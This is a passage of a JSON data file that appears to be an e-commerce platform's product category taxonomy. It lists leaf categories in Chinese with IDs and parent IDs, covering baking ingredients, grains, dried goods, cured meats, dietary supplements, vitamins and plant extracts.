"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31227,"name":"面包糠","parent_cid":28244,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31232,"name":"其他烘培辅料","parent_cid":28244,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33378,"name":"蛋糕粉","parent_cid":28243,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31221,"name":"黄油","parent_cid":28243,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31225,"name":"酵母粉","parent_cid":28243,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31231,"name":"奶精炼乳","parent_cid":28243,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31220,"name":"奶油","parent_cid":28243,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31226,"name":"预拌粉","parent_cid":28243,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31224,"name":"芝士","parent_cid":28243,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31230,"name":"其它原料","parent_cid":28243,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31241,"name":"吉利丁片","parent_cid":28245,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31235,"name":"吉士粉","parent_cid":28245,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31238,"name":"泡打粉","parent_cid":28245,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31234,"name":"琼脂","parent_cid":28245,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31242,"name":"食用色素","parent_cid":28245,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31236,"name":"塔塔粉","parent_cid":28245,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31239,"name":"香草精","parent_cid":28245,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31237,"name":"小苏打","parent_cid":28245,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31240,"name":"鱼胶粉","parent_cid":28245,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31243,"name":"其它食品添加剂","parent_cid":28245,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31193,"name":"黑豆","parent_cid":28210,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31190,"name":"红豆","parent_cid":28210,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31192,"name":"黄豆","parent_cid":28210,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31191,"name":"绿豆","parent_cid":28210,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31189,"name":"其它","parent_cid":28210,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31185,"name":"糙米","parent_cid":28209,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31183,"name":"大米","parent_cid":28209,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31188,"name":"黑米","parent_cid":28209,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31186,"name":"糯米","parent_cid":28209,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31194,"name":"泰国香米","parent_cid":28209,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31184,"name":"小米","parent_cid":28209,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31187,"name":"薏米","parent_cid":28209,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31260,"name":"百合干","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34194,"name":"粉条","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34192,"name":"干货礼盒","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34191,"name":"干菌汤包","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34193,"name":"干羊肚菌","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31264,"name":"桂圆干/龙眼","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31263,"name":"黑木耳","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31259,"name":"猴头菇","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31258,"name":"姬松茸","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31256,"name":"莲子","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31261,"name":"荔枝干","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31254,"name":"松茸","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33377,"name":"笋制品","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31262,"name":"香菇类","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31257,"name":"银耳/白木耳","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31255,"name":"竹荪","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31265,"name":"其它干货","parent_cid":28257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31253,"name":"待加工香肠","parent_cid":28255,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31251,"name":"火腿","parent_cid":28255,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31249,"name":"腊/腌肉","parent_cid":28255,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31250,"name":"培根","parent_cid":28255,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31252,"name":"香肠/腊肠","parent_cid":28255,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34189,"name":"精炼猪油","parent_cid":34052,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34190,"name":"其他精炼动物油脂","parent_cid":34052,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31345,"name":"氨基酸","parent_cid":28338,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31355,"name":"大豆分离蛋白","parent_cid":28338,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31352,"name":"谷氨酰胺","parent_cid":28338,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31354,"name":"骨胶原蛋白","parent_cid":28338,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31350,"name":"混合蛋白","parent_cid":28338,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31351,"name":"胶原蛋白","parent_cid":28338,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31346,"name":"精氨酸","parent_cid":28338,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31349,"name":"乳清蛋白","parent_cid":28338,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31344,"name":"肽类","parent_cid":28338,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31348,"name":"褪黑素/松果体素","parent_cid":28338,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31347,"name":"鱼蛋白","parent_cid":28338,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31353,"name":"支链氨基酸","parent_cid":28338,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31366,"name":"袋鼠精","parent_cid":28339,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31361,"name":"蜂胶/蜂产品","parent_cid":28339,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31387,"name":"鹿产品提取物","parent_cid":28339,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31365,"name":"牛初乳","parent_cid":28339,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31386,"name":"羊胎盘提取物","parent_cid":28339,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31410,"name":"海外保健机能饼干","parent_cid":28344,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31406,"name":"海外保健机能代餐","parent_cid":28344,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31407,"name":"海外保健机能即饮","parent_cid":28344,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31409,"name":"海外保健机能软糖","parent_cid":28344,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31408,"name":"海外保健机能啫喱","parent_cid":28344,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33906,"name":"NAD+前体营养补充剂","parent_cid":33709,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31411,"name":"海外保健体重管理","parent_cid":28345,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31413,"name":"海外保健运动提能","parent_cid":28345,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31412,"name":"海外保健运动修复","parent_cid":28345,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31403,"name":"氨基葡萄糖","parent_cid":28342,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31395,"name":"海狗/海豹油","parent_cid":28342,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31399,"name":"甲壳素","parent_cid":28342,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31401,"name":"角鲨烯","parent_cid":28342,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31402,"name":"螺旋藻/藻类提取物","parent_cid":28342,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31397,"name":"牡蛎/贝类提取物","parent_cid":28342,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31405,"name":"沙丁鱼提取物","parent_cid":28342,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31404,"name":"鲨鱼软骨素","parent_cid":28342,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31400,"name":"虾青素","parent_cid":28342,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31396,"name":"鱼油/深海鱼油","parent_cid":28342,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31398,"name":"珍珠粉","parent_cid":28342,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31322,"name":"辅酶Q10","parent_cid":28334,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31320,"name":"红曲","parent_cid":28334,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31321,"name":"酵素","parent_cid":28334,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31323,"name":"益生菌","parent_cid":28334,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31392,"name":"低聚糖/寡糖","parent_cid":28341,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31394,"name":"膳食纤维/果蔬纤维","parent_cid":28341,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31393,"name":"生物多糖","parent_cid":28341,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31326,"name":"B族维生素","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31343,"name":"复合维生素/矿物质","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31328,"name":"钙","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31332,"name":"钙镁","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31334,"name":"钙铁锌","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31333,"name":"生物素","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31329,"name":"铁","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31335,"name":"维生素A/胡萝卜素","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31336,"name":"维生素AD","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31337,"name":"维生素C","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31338,"name":"维生素D","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31339,"name":"维生素E+C","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31340,"name":"维生素E/小麦胚芽油","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31341,"name":"维生素K","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31327,"name":"硒","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31330,"name":"锌","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31331,"name":"叶酸","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31342,"name":"左旋肉碱","parent_cid":28337,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31324,"name":"DHA/EPA/DPA","parent_cid":28336,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31325,"name":"亚麻酸","parent_cid":28336,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31379,"name":"参类提取物","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31374,"name":"茶多酚/茶族","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31381,"name":"大豆异黄酮","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31380,"name":"大蒜提取物","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31377,"name":"番茄红素","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31359,"name":"葛根","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31360,"name":"蓟类","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31373,"name":"锯棕榈","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31385,"name":"苦瓜提取物","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31367,"name":"卵磷脂","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31358,"name":"芦荟","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31383,"name":"玛咖提取物","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31371,"name":"蔓越莓","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31376,"name":"玫瑰精油","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31382,"name":"木瓜提取物","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31384,"name":"纳豆提取物","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31362,"name":"南瓜/南瓜籽","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31369,"name":"苹果酸","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31370,"name":"蒲公英","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31389,"name":"葡萄籽提取物","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31356,"name":"pycnogenol.碧萝芷","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31993,"name":"青汁","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31357,"name":"沙棘","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31372,"name":"蛇麻草","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31391,"name":"圣约翰草提取物","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31368,"name":"叶黄素","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31363,"name":"银杏/人参银杏","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31375,"name":"月见草油","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31364,"name":"越橘/蓝莓提取物","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31378,"name":"紫花苜蓿","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31388,"name":"紫锥菊提取物","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31390,"name":"其它植物提取物","parent_cid":28340,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31416,"name":"膳食补充剂型饮料","parent_cid":28347,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31417,"name":"其他膳食营养补充剂","parent_cid":28347,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31280,"name":"氨基酸/运动营养","parent_cid":28327,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31289,"name":"大豆分离蛋白/混合蛋白","parent_cid":28327,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31992,"name":"代餐粉/代餐奶昔","parent_cid":28327,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31991,"name":"蛋白棒/固体饮料","parent_cid":28327,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31286,"name":"混合蛋白","parent_cid":28327,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31287,"name":"胶原蛋白","parent_cid":28327,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31284,"name":"乳清蛋白","parent_cid":28327,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31277,"name":"肽类","parent_cid":28327,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31279,"name":"褪黑素/蛇麻草/圣约翰草","parent_cid":28327,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33839,"name":"营养餐包","parent_cid":28327,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34149,"name":"γ-氨基丁酸/GABA","parent_cid":28327,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31285,"name":"其它蛋白","parent_cid":28327,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31293,"name":"牛初乳","parent_cid":28328,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31303,"name":"普通动物提取物","parent_cid":28328,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31311,"name":"氨糖软骨素/骨胶原","parent_cid":28331,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31310,"name":"螺旋藻/藻类提取物","parent_cid":28331,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31309,"name":"牡蛎/贝类提取物","parent_cid":28331,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31312,"name":"普通海洋生物提取物","parent_cid":28331,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31308,"name":"鱼油/深海鱼油","parent_cid":28331,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31269,"name":"辅酶Q10","parent_cid":28324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31271,"name":"猴头菇/普通菌菇提取物","parent_cid":28324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31268,"name":"酵素","parent_cid":28324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31270,"name":"益生菌","parent_cid":28324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34148,"name":"玻尿酸/透明质酸钠","parent_cid":28330,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31305,"name":"低聚糖/寡糖/低GI","parent_cid":28330,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31307,"name":"膳食纤维/果蔬纤维","parent_cid":28330,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31306,"name":"生物多糖","parent_cid":28330,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31273,"name":"B族维生素","parent_cid":28326,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31288,"name":"复合维生素/矿物质","parent_cid":28326,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31276,"name":"钙镁","parent_cid":28326,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31278,"name":"钙铁锌/钙镁","parent_cid":28326,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31281,"name":"维生素/复合维生素","parent_cid":28326,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31282,"name":"维生素E+C","parent_cid":28326,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31274,"name":"锌/铁/硒","parent_cid":28326,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31275,"name":"叶酸","parent_cid":28326,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31283,"name":"左旋肉碱","parent_cid":28326,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31313,"name":"耐力类","parent_cid":28332,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31314,"name":"速度力量类","parent_cid":28332,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31315,"name":"特殊用途饮料","parent_cid":28332,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31316,"name":"运动后恢复类","parent_cid":28332,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31272,"name":"DHA/EPA/DPA亚麻酸","parent_cid":28325,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31996,"name":"白芸豆","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31296,"name":"茶多酚/茶族","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31298,"name":"大豆异黄酮","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34147,"name":"柑橘多酚","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31291,"name":"葛根","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31292,"name":"灵芝/参类/石斛提取物","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31290,"name":"芦荟","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31295,"name":"蔓越莓","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31299,"name":"木瓜提取物","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31301,"name":"纳豆提取物","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31302,"name":"葡萄籽提取物","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31304,"name":"普通植物提取物","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33971,"name":"青汁","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34146,"name":"水飞蓟/奶蓟草","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31297,"name":"叶黄素/蓝莓/越橘提取物","parent_cid":28329,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31317,"name":"润喉糖","parent_cid":28333,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_g